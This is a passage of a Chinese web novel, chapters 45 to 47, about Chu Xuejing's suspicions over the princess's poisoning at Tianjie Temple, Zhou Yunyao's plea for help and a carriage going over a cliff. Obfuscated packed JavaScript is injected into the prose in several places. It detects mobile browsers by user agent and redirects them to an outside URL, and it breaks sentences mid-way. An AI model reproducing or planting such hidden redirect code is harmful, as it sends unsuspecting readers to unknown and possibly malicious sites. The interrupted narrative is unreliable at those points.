“小姐,您歇会儿吧。”青冬小心翼翼看着褚雪镜,自小姐从外头回来后就一直坐着发愣,偏生这么明显的不对劲她们也不敢多问什么,只能先劝着她别熬坏了身子,“不若您先睡下,有人传唤青冬再叫您?” “是啊小姐。”春茵帮腔道,“您这样干熬着要坏了身体的。” 门口都是侍卫严守着,褚雪镜轻轻眨了下眼,道:“你们退下吧,我有分寸。” 小姐一言不合总爱赶她们。 青冬蹙着眉朝春茵使了个眼色,春茵抿了抿唇,道:“现下状况特殊,小姐……” “不必多言,”褚雪镜淡淡开口,毫无转圜余地,“去吧。” 青冬飞快地眨巴两下眼,利索地行了礼扯着春茵退下。 房中恢复宁静,褚雪镜舒了口气,合着衣衫半躺在塌上假寐。 萧婉书死了,还是死在天界寺,与前世发生的事大相径庭。 如今她可以肯定,景仁帝也是重生的。 前世景仁帝死得也很突然,她依稀记得是在她“命丧洞房花烛夜”后不久,她还在暗市辗转时听见的皇帝驾崩的消息。 景仁帝一死,太子萧胤玦便理所应当继承皇位,随后大肆宣扬医术药方之类,为褚玉霜进宫铺路。 仔细想来…… 褚雪镜忽然睁开眼。 要说人短命,皇室的人未免过于惨淡。 先是去年太后病逝,现在是长公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13223466|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧婉书,两月后又将是皇后温华锦,最后是四年后的景仁帝。 接二连三的病死……总不能都是萧胤玦的手笔。 他不过是太子,朝臣敬他两分,民间人敬他九分,可太后皇后等人他却是动不得的。 再者前世她并未听说萧婉书的死讯,要么是皇帝悄然压下——毕竟长公主本就卧病多年,许久不露面也无人怀疑;要么就是她根本没死。 可今生她却死得轰轰烈烈、声势巨大。 饮毒而死。 褚雪镜不免忆起白日戒律堂景仁帝寡淡无情的神色。 没有亲姐死去的悲痛,也没有突得噩耗的惊愕。 甚至有闲心在“审讯”的时候告诉她八年前的事,重点却不在萧婉书。 会不会是…… 褚雪镜下意识颤了颤眼皮。 如若萧婉书是死于皇帝之手,那么一切都说得通了。 …… 天光微亮。 “小姐,门口的侍卫都撤走了!”青冬喜上眉梢,论谁都不想在别人监视下做事,“都撤走了,我和春茵姐姐悄悄去西边看了!” 褚雪镜抬眸望向镜中,镜中人面色有些苍白,唇也没什么血色。她拣起口脂用指腹在唇上薄薄敷了一层,至少看起来没那么可怖。 “小姐。”那头青冬咋呼完,这边接着春茵便推门进来,“有人找您。” 褚雪镜:“什么人?”若是认识的,春茵不会说得这么模糊。 “……一个男人。”春茵拧了下眉,不确定道,“奴婢不曾见过。” 春茵没见过的,那不会是褚朗和卫北临。 更何况佛门之地,怎会有男人贸然来寻她……? “对了小姐,”春茵忽然想起来什么,递上手中的物事,“那人说,小姐若见了这个,一定知道他是谁。” 褚雪镜看清她递送来的东西,面色微滞,半晌才抬手用指尖勾了过来。 不是什么特殊的事物,只是一根编得歪七扭八的红绳。 褚雪镜额角轻跳,随手将它扣在妆台上。 春茵茫然,“小姐?” “他人在哪?”褚雪镜抿唇,眉头蹙紧,“在门外?” 她的脸色实在称不上好看,春茵不安地捏着自己的手指,害怕自己闯了祸,“是,小姐。” 褚雪镜垂眸看着那只红绳,红绳已经有些旧了,但很干净,边缘泛起一层毛边,像是被人常戴着。 “你……”女人似是在冥思苦想,“你去拒了他,便说我身体不适,不方便见。” 春茵立即应道:“是。” 青冬杏眼圆睁,看看红绳又看看春茵的背影,小声凑到女人跟前,“小姐,那是谁啊?” 她想褚雪镜这么干脆了当地拒绝了,肯定是知道是谁了。 哪知褚雪镜眉头拧得更紧,片刻后才道:“我也不记得了。” 这红绳倒的确是她编的,但那是她十一二岁爱做的事情,那时她长年卧榻养病,出不了门就窝在床上胡编些手串,凡是她见过的同龄男女她都送过。 只是有人拿着这东西找上门来,过去那么久了,她怎么想得起来究竟是谁? 要是贸贸然出去见了认错岂不闹笑话? 45.落雪 “世子,咱们在这偷看不好吧?陛下还等着咱们呢。” 好福麻木地站在卫北临身后,身前的男人黑着脸杵着,目光死死瞪着不远处踱步等待的男人,像是在看什么讨厌的东西。 卫北临眯了眯眼,没搭理好福,朝那人的方向抬了抬下巴,“好运,那人是谁?” “回世子,”好运仿若飘鬼一般悄无声息地出现,无视了无论多少次都会被他吓一跳的好福,面无表情道,“他是沧州玉商乔山的儿子乔砚,十年前随父母离开金陵长住沧州,两日前才回来,一回来便先上了天界寺礼佛,盖因他父母深信佛道。” 沧州……又是沧州。 这沧州人没完没了了,一个二个都赶着时候回金陵? 那头春茵从院中出来在同乔砚说什么,他们站得有些距离,一个字也听不见。卫北临抿了抿唇,问:“他和褚雪镜有何渊源,为何一回来就来找她?” “这……”好运显然为难起来,他并没有查到乔砚和褚雪镜有过什么纠葛,一张面瘫脸愈发难看起来,“属下不知。” 他话音刚落,就见房门前本是满面期待的乔砚瞬间像霜打的茄子,肉眼可见的失落。 卫北临微不可察地扬了扬眉梢。 “这下该走了吧世子,”好福像背后灵一般幽幽道,“人家褚小姐不见他呢~” 卫北临:“……” 他转头狠狠瞪了好福一眼,奇道:“怎么跟本世子说话的?”阴阳怪气什么呢! “您再不走等下贺总管寻着味儿就来了,”卫北临好说话,好福胆子就大了起来,“等下陛下问起看您怎么说。” 嗯……好福说的不无道理。 卫北临最后瞄了一眼蔫蔫离开的乔砚,心里总算舒泰了两分,“走走走,也不知道皇帝突然找我什么事。” 昨天长公主突亡确是让人措手不及,便是卫北临也在被监视的范围。 不过卫北临对这位长公主也了解不多,从穿过来到现在连面都没见过,她死了虽说令人惊讶,但不至于和他牵扯上什么干系。 只是…… 他记得原著里女主褚玉霜在回府之前以“霜岚”之名行医为善,后来能与男主萧胤玦厮守有一部分原因就是褚玉霜曾在机缘巧合下帮长公主控制了病情,而四年后褚雪镜身死,男女主感情拉扯半年,直到皇帝病逝才有所转机。 其中就有长公主萧婉书的助力。 如今长公主在剧情前期就横死,着实让人匪夷所思。 罢了,尽信书不如无书,现在他在书中,当局者迷,就算有什么也是兵来将挡水来土掩。 皇帝的住处在褚雪镜所住寮房的东南方,是一个独立的小院,这也是为什么他会看见那个莫名其妙的男人在褚雪镜房前徘徊。 “卫世子,陛下在等您呢。” 院中屋前,贺尹早已在门口守候多时,卫北临掩盖似的轻咳两声,“多谢贺公公,我这就进去。” 皇帝找他有事要谈,贺尹都在门外侯着,没有好福好运跟着进去的道理。卫北临独自推开门进屋,合上门回身才发现房中除了皇帝外,还有一个面生的男人。 此人正淡然若素地同皇帝对弈,卫北临心中一坠,隐隐有了猜测,却不曾表露,对皇帝作揖道:“陛下。” “来得正好,”景仁帝眉眼还有几分未散的笑意,招手示意卫北临上前,“来看看朕和丞相下的这盘棋。” 丞相。 卫北临动作一顿,旋即面不改色道:“是。” 他猜的果然没错,这个能泰然自在地和皇帝下棋之人,只能是当今丞相穆时川。 * 长公主薨逝与祈福冲撞,仪式自然无法继续举行,但在寺中斋戒七日却不能中断。 无人知道导致长公主逝世的真凶是何人,皇帝大费周章地问过所有人,最终只扣押了长公主府中跟来的近侍和婢女。 也有人猜测长公主可能是自尽而亡,只是景仁帝无法接受这个结果,才非要一一审问下来。 无论是哪一种,只要能安稳度过余下几日便是最好。 天界寺西处的一间寮房中。 “不可能!我母亲绝不会自尽!” 萧云瑶掀翻案上的摆设,双眼红肿得像核桃,面色如纸,唇白若丧。 “云瑶,”萧胤玦起身让开免受波及,眉头皱紧,“你已瞧过姑母的尸身,那毒只有姑母手中才有,姑母确是自尽而死,你冷静些!” “我冷静?”萧云瑶向来骄矜傲慢的面容此时形如枯槁,她几乎歇斯底里地戳着自己的胸口,“我怎么冷静?!死的是我的亲生母亲!是我娘!” “云瑶……”萧元灏想拽住她,却被一把甩开。 眼下萧云瑶六亲不认,但他不是傻子,知道丧母之痛难平,只能和萧元璟站在一边。 “你身为郡主,怎可如此泼蛮无理?!”她一心沉浸在母亲逝世的悲痛中,无论怎么劝说都油盐不进,萧胤玦也动了火气,“你不服有本事去找皇帝!哭有什么用?!” 怒气上头就容易口不择言,萧胤玦下颌绷紧,储君的尊严叫他即便知道失言也不能低头。 萧云瑶被他的怒喝镇在原地,半晌方反应过来他说了多么自私凉薄的话,不由冷笑出声。 “萧胤玦,”她抬臂指向面前这个她景仰多年的储君,眸中的失望和哀痛仿若一倾而下的洪水,淹没了在场人的眼底,“我母亲病前待你不薄,当年皇帝势微,若不是我母亲保你,你……!” 她忽地嗤了一下,似是在嘲笑自己,又像是在讽刺太子,叹息般摇了摇头。 “罢了。”她说。 萧云瑶仿佛一下失去了所有力气,失魂落魄地与萧胤玦擦肩而过。 “你去哪?”掩在袖中的手早已攥成拳头,萧胤玦却忍着不肯回头,一如他强端着不愿放下的面子。 萧婉书死了,她萧云瑶是萧婉书唯一的孩子,早就在皇帝的布控之下了。 萧云瑶却道:“与太子殿下无关。” 嘭! 屋门在背后合上的瞬间,萧云瑶听见屋内爆发出一声巨大的砰响。 她脚步微顿,但一步都不回头。 “郡主,留步。” 房外果然有人把守,萧云瑶静静地看着挡在她面前的两个侍卫,“让开。” “郡主,”出乎意料地,两人并未多加为难,只道,“您伤心过度,还请不要去危险之地,陛下会担心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而方才青冬一推开窗便瞧见眼底下有只圆滚滚的大脑袋,自然被吓得惊慌失措。 “你这住处清静。”萧云瑶瞥过眼,此事是她理亏,她便不好像从前那样拿乔,“我想寻处安宁地方,就你这人少。” 绝大多数的朝臣及家眷都被安排至西边的寮房,东边的确没什么人——至少褚雪镜住了三日,除了她们主仆外就没见过别的住客。 “好罢。” 萧云瑶略显意外地看了褚雪镜一眼,从前两人见面少不得针锋相对,如今却是能好生说上两句话。 她有些别扭道:“巧合而已,别自作多情。” “自然。”褚雪镜像是没听出她隐含的拧巴,视线轻轻从她头顶浮着的一层落雪一扫而过,淡淡道,“郡主既是寻清静,那我就不打扰了。” 萧云瑶愣了一下,狐疑地看向她。 “青冬,”褚雪镜恍若未见,毫不留情转身道,“关窗吧。” “让郡主好好清静清静。” 萧云瑶:“???” 46.老虎 “等等!” 萧云瑶干脆伸长手臂扒拉住屋内的墙,才得以阻拦青冬势必要关窗的架势。 她这么可怜这么凄惨地蹲在她窗外,没看见就罢了,怎么瞧见她了还这样啊! 她气急败坏地冲着女人喊道:“褚雪镜你没有心!” “我们家小姐心可好了!”青冬才不管眼前这人是郡主还是公主,总之站在窗户外面还能拿她怎么着,“你这样我关不了窗!” “你!”她活了十几年还没人敢这么和她说话,眼看褚雪镜的身影要消失在视线里,萧云瑶急得跺脚,“褚雪镜!” “青冬,”女人含着笑意的声音从帘后传来,“还不请郡主进来?” 好啊,戏耍她! 萧云瑶一瞬间便反应过来,可惜为时已晚。 青冬抓着窗门开也不是关也不是,小姐叫她请人进来,那是请她从窗户翻进来呢,还是把窗户关上请她从门进来呢? 萧云瑶似乎看穿了她的纠结,狠狠地瞪了她一眼,一甩蓬氅气冲冲地走到前门去。 青冬默默将窗户合上。 “大伙的住处皆在西边,怎的就你住在这?”萧云瑶倒也不客气,一进屋就自顾自寻了个地方坐下,“你这住处比我那安逸多。” 她手脚都冻出了青紫的斑驳,一张小脸惨白,嘴上也干得起皮。褚雪镜将倒好的热茶推到她面前,“郡主来寻我是有事?” 萧云瑶像炸了毛的猫倏地跳了起来,“谁来找你了?” 褚雪镜笑而不语,手心托腮抬眸看着她。 该死了,贼老天真是给了这女人一张惑人心神的脸,单是看一看什么郁气火气都消了。 萧云瑶深吸一口气,端起茶杯灌酒一般一饮而尽,仿佛这样能浇灭她心中的郁结。 啪。 随着杯底落在案上,萧云瑶亦坐了下来,直截了当道:“我娘死了,你应该知道。” 她故意说得很淡然,但微红的眼眶却藏不住。 萧云瑶撇过头去,胡乱抹了把脸,“我想请你帮我查,她中的是什么毒。” 话落,她抿住唇,从袖中取出一只瓷瓶放在梨花桌上。 褚雪镜目光掠过那只瓷瓶,属实是平平无奇。抚在颊边的指节轻轻敲了敲,褚雪镜却没说应不应,扬声道:“青冬,你先下去,我同郡主有话要说。” 青冬应了一声一溜烟窜了出去。 萧婉书虽常在病中,但萧云瑶并未多受冷落,曾经萧婉书康健时便将她看作掌上明珠,即便缠绵病榻依旧提前为她铺了后路——景仁帝这个做舅舅的几乎将她宠成亲女,而她的未婚夫则是京中有名的才子叶程启,只待他科举高中后便可完婚。 但也是这般,将萧云瑶养成了一个娇纵蛮横的性子。 京中贵女恶名,褚雪镜占其一,萧云瑶便占其二。 不过褚雪镜之恶名是背后之人有意为之,萧云瑶则是传言七分作得十分,就是有人不满也不敢大肆宣扬。 这位“享誉金陵”的郡主如今却在对着另一位“恶名远扬”的病秧子道:“眼下我无路可走,只能来冒险试试你这条路了。” 褚雪镜眸光微闪,疑惑重复道:“我这条路?”她一个一步三喘、自身难保的药罐子算什么路? “如意楼。”萧云瑶目光灼灼地盯着她,她要真相,就顾不得隐瞒,言辞笃定道,“如意楼你见的那位秦大夫,曾是江湖有名的探子,我知道你与她关系匪浅,所以来求你帮忙。” 死寂。 褚雪镜倾身将那瓶瓷瓶勾到手中把玩,片刻后才缓缓问:“还有谁知道?” 她并没有说明确,萧云瑶却心领神会,“只有我和我娘,我没告诉任何人,包括萧胤玦和褚玉霜。” 萧胤玦和褚玉霜?褚雪镜掀起眼皮,对上面前女人冷漠镇定的视线。 这是要表明她与那两人是撇清关系的么? 她弯了弯唇角,眸中却没有什么笑意,“长公主逝世是皇室大事,郡主不信旁人,也不信皇帝?” 褚雪镜没有直接翻脸,说明事情还有转圜的余地。 萧云瑶松了口气,冷声道:“我谁都不信。” 谁都不信,那就是皇帝也不信了,天下之大不韪的话这样旁若无人地讲出来,该说她是傻还是天真呢? “你别用这种眼神看我。”萧云瑶拧了拧眉,她自然知道褚雪镜这副模样是在想什么,“你不是那样的人。” “哦?”褚雪镜来了兴趣,容色也明亮几分,“我是哪样的人?” 萧云瑶:“……” 女人一副你不说我就不动的架势,她只好不情不愿道:“你虽然恶毒、病弱还蠢,但心不坏。” 褚雪镜:“……” 她奇道:“你既然对我不满,找我做什么?若要找大夫,你身边不是有现成的么?”秦合欢和她说过,萧云瑶与褚玉霜结识便是因为长公主的病,她对萧婉书的死有疑问,找褚玉霜不是更合适? 萧云瑶动了动唇正要解释,忽地抬眼诡异地打量着褚雪镜,“你怎么知道……” 她哼笑,“你私下调查我?该不会是嫉妒褚玉霜和我关系好吧?” 褚雪镜:“……” 要说她和萧云瑶的恩怨,还要早早追溯到她九岁刚回金陵的时候,那时她的身体因落湖比现在更差,两三个月都下不得塌,直到开春才恢复了些,正巧碰上长公主大办赏春宴,便随乔恩兰一同出席。 彼时萧云瑶不过和她同样年岁,但相对于她的羸弱,萧云瑶像是一头有着使不完力气的小牛,又骄傲又神气,一见到褚雪镜就皱眉摇头,仿佛在瞧一只易碎的花瓶。 “喂!你怎么这么弱啊?” 这是萧云瑶对褚雪镜说的第一句话。 褚雪镜当时回的什么她记不清了,只记得萧云瑶小心翼翼地牵着她的手,带着她去看宴上最娇嫩的那朵花。 然后她就毫无征兆地晕了过去,再醒来已经回到了府中,身边只有哭红眼的乔恩兰和面色严肃的褚回泽。 她觉得自己的嗓子很痛,几乎要说不出话,但她还是问:“她呢?” 她晕倒了,萧云瑶会不会很着急很害怕? 但乔恩兰只是拍了拍她的手,道:“镜儿,你好生养着,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天子开口,便是金言玉律。景仁帝既然说了可以满足她任何条件,相当于给了她一面免死金牌。 可惜这面免死金牌不能轻易动用。 君心难测。 “小姐!” 春茵忽然唤她,褚雪镜顿足,轻眨了下眼。 方才想得出神,她竟不知不觉往住处后边的竹林去了,昨日下了雪,竹叶上还挂着雪衣,静如寒潭。 “没事。” 她下意识要转身,却忽然僵在原地。 不远处,雪色和竹色间,有一抹挺拔如松的白影,长发微垂,闻声朝她的方向偏了偏眸。 怎么会是他?! 明明已经忘却的记忆此时卷土重来,少女几乎是踉跄着后退,慌不择路地提裳跑离。 竹林中,穆时川眉头轻蹙,清俊的脸上少见的有两分不解。 这还是他第一次见这位褚小姐,为何她一见他就像兔子见了老虎般害怕? 47.坠崖 天界寺斋戒的第七日。 一晃两日,褚雪镜除了晨时按时去佛堂祈福外,余下的时间几乎都窝在房中,便是连窗门都不曾打开。 青冬将衣物等物收好,轻手轻脚地掀开床帘,小声唤道:“小姐,我们该走了。” 床榻之上,少女蜷缩在一角,雪白的衣衫逶迤拖在铺单上,乌青的发丝散乱着落在衣肩,眼帘微垂,不知在想什么。 自竹林一惊后她便这般在房中待了两日,几乎不吃不喝。 青冬和春茵作为婢女自然忧心,但褚雪镜严令不许她们外传,甚至直言此时找大夫只会惊动陛下,对她百害而无一利,她们才歇了心思,只能变着法子哄她吃些东西。 眼下好不容易熬到下寺,青冬不禁眼眶红红,声音也忍不住哭腔,“小姐……” 褚雪镜眼睫动了动,空洞的瞳孔微微上移,片刻后哑声道:“走吧。” 青冬抽着鼻子上前要搀她下床,褚雪镜却抬手拂去,单薄瘦削的身影因长时间滴水未进轻微发着颤,她抿了抿干裂的唇,在妆台前坐下。 “帮我拿些吃食来吧。” 今日有要事要做,饥饿和恐惧会让她失去反应和抵抗的能力,她得保证自己的体力和理智。 青冬忙不迭应下,先将斗篷拢到她身上才慌里慌张地跑出门去。 春茵神情复杂地望着青冬跑得飞快的背影,抬步跨进屋中关上门。 “小姐,”春茵为她倒了一杯热茶捧上,“先喝一些润润嗓。” 褚雪镜指尖微抖,伸手接过,但抿了一口便放下了,“替我梳妆吧。” 春茵低低应了一声,手指挽起少女的秀发。 她在乔恩兰身边伺候过一阵,后来在褚雪镜身边也待了月余,绾发的手艺自然是极好的。柔顺的青丝在她指上翻动,春茵沉默着为她簪上最后的玉簪,退至一边。 褚雪镜掀起眼帘,从镜中看见她低垂的头,道:“你有话要对我说?” 春茵静了静,终究是摇了摇头。 她早已将自己知道的一切和盘托出,但褚雪镜不信她,一意孤行,便是她费再多口舌也拦不住。 更何况,从褚雪镜选择要上这天界寺起,就已经晚了。 时间在两人的静默中无声流逝,直到青冬端着点心回来,房中的人都不曾开口说一句话。 褚雪镜何尝不知道春茵在想什么,照春茵所说,乔恩兰意欲在天界寺神不知鬼不觉地除掉她。 但他们还没从她身上得到想要的东西,不会轻易动她。 只是她在天界寺的确会出事,却不是乔恩兰所为,又或者说,不是她主谋。 待萧胤玦将她“救回”,乔恩兰的嫌疑便能轻而易举地洗清,届时是信养育了自己十多年的养母,还是本就有过背主之过的婢女,显而易见。 褚雪镜垂眸看向桌上精致的点心,寺中清贫朴素,斋堂里绝不会做这样的糕点。 她问:“从何处来的?” 青冬二话不说扑通一声跪了下去,双手叠在额下拜道:“青冬任小姐责罚!” 褚雪镜没什么力气,只是淡淡看了她一眼,“我不罚你,你说便是。” 青冬抬头看她,褚雪镜的神情很淡,几乎没有,她咽了下口水,一五一十道:“奴婢去斋堂的时候只有一些果子,出来的时候……” 她小心翼翼地打量着褚雪镜的神色,“出来的时候撞见了一位公子,他说与小姐是熟识,所以让奴婢把这些糕点带给您。” 褚雪镜说:“说实话。” 青冬攥了攥手指。 她咬住嘴里的肉,垂下头,“是卫世子。” 褚雪镜怔住,半晌才动了下脖颈,慢半拍问道:“……他?” 这几日他们都没有联系,卫北临怎么会借青冬的手…… 对了,褚雪镜微不可察地蹙了下眉,她这两天浑浑噩噩,又忘了今天是什么日子了。 “我知道了,”褚雪镜拣起一枚酥点,天界寺距金陵城中山高路远,但他送来的竟然是如意酥,“起来吧。” 青冬似是没料到褚雪镜就这么轻飘飘揭过,她挠了下额头,虽说卫北临不叫她说,可小姐才是她的主子,让她对小姐有所隐瞒实在是心中难安,干脆一并说了,“卫世子说,您要好好爱惜自己的身体,不要逞强。” 褚雪镜垂眸,她不去问卫北临是如何知道的,只是慢慢咬下一口手中的酥点,甜腻的滋味在寡淡的口腔中蔓延开,她喉间如涩,糕点的甜香反倒让她有些反胃。 但她仍然面不改色地、一口接一口将它咽下,像是在强迫自己充饥果腹。 青冬想了想,继续道:“昨日奴婢去斋堂的时候便碰见了卫世子,卫世子问奴婢为何每次端回房中的食物都原封不动地送回,奴婢不肯说,他便让小厮傍晚又去堵奴婢……” “奴婢不说他们就不放奴婢走,”青冬提起此事不由有几分忿忿,转眼一瞧褚雪镜毫无波澜的神色又歇了火,“奴婢守口不严,自知有过。” 少女长睫颤了颤,不置可否。 一盘糕点被她缓慢而坚定地吃下三分之一,青冬眼睁睁看着,忧色不改。 她虽然见识少,但不是傻子,褚雪镜的状态明显不对劲,可她能说会动,除了比以往消沉外,看不出任何征兆。 褚雪镜用巾帕轻擦过唇,忽然想起什么似的问:“马车备好了么?” 两刻钟前小姐才问过,青冬面不改色道:“备好了小姐。” 女人终于起身,踏出了屋门。 …… 寺门外,男人心不在焉地站在皮毛锃亮的骏马边,有一搭没一搭地撸着马儿的鬃毛,目光却不住地往寺里瞧。 “世子一刻钟能看八百回。”好福蹲在角落和好运嘀咕,“从前也没见世子和那褚姑娘有多亲近,怎么一下子这么关心上了?” 好运抱臂杵在旁边当木头桩子,闻言冰着一张面瘫脸摇了摇头。 卫北临站的位置较为隐蔽,毕竟寺中祈福的官臣众多,寺门前静待的马匹马车多如牛毛,鲜少有人去管树后面站了什么人又等了多久。 直到深红的大门处出现一抹雪色身影,男人却忽然像打了鸡血一般翻身上马,扬鞭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“二、二姐!” 纷乱中,褚玉霜忽然抓住了她的手腕,神色焦急地要说什么。 跳车。 她辨认出这两个字。 褚雪镜想,看样子褚玉霜是临时改了念头,不想让她落崖了。 可世上的事怎么净由得他们想还是不想呢? 在马车失控奔向断崖的瞬间,褚雪镜陡然使力挣脱了她的桎梏,跌至马车的另一边,腰背重重撞上棱角。 她疯了?! 褚玉霜瞳孔骤缩,嗓中的呼喊还没叫出声,求生的本能已经让她拼尽全力从窗口处翻出。 从高处落地的疼痛几乎让她五脏欲裂,褚玉霜翻滚在尘土上,意识恢复的瞬间猛地抬头—— 躁狂的马儿分不清方向,嘶哑哀痛地鸣叫着,不断拖拽着身后的车厢,直到一同摔下断崖。 天地仿佛只有风的声音。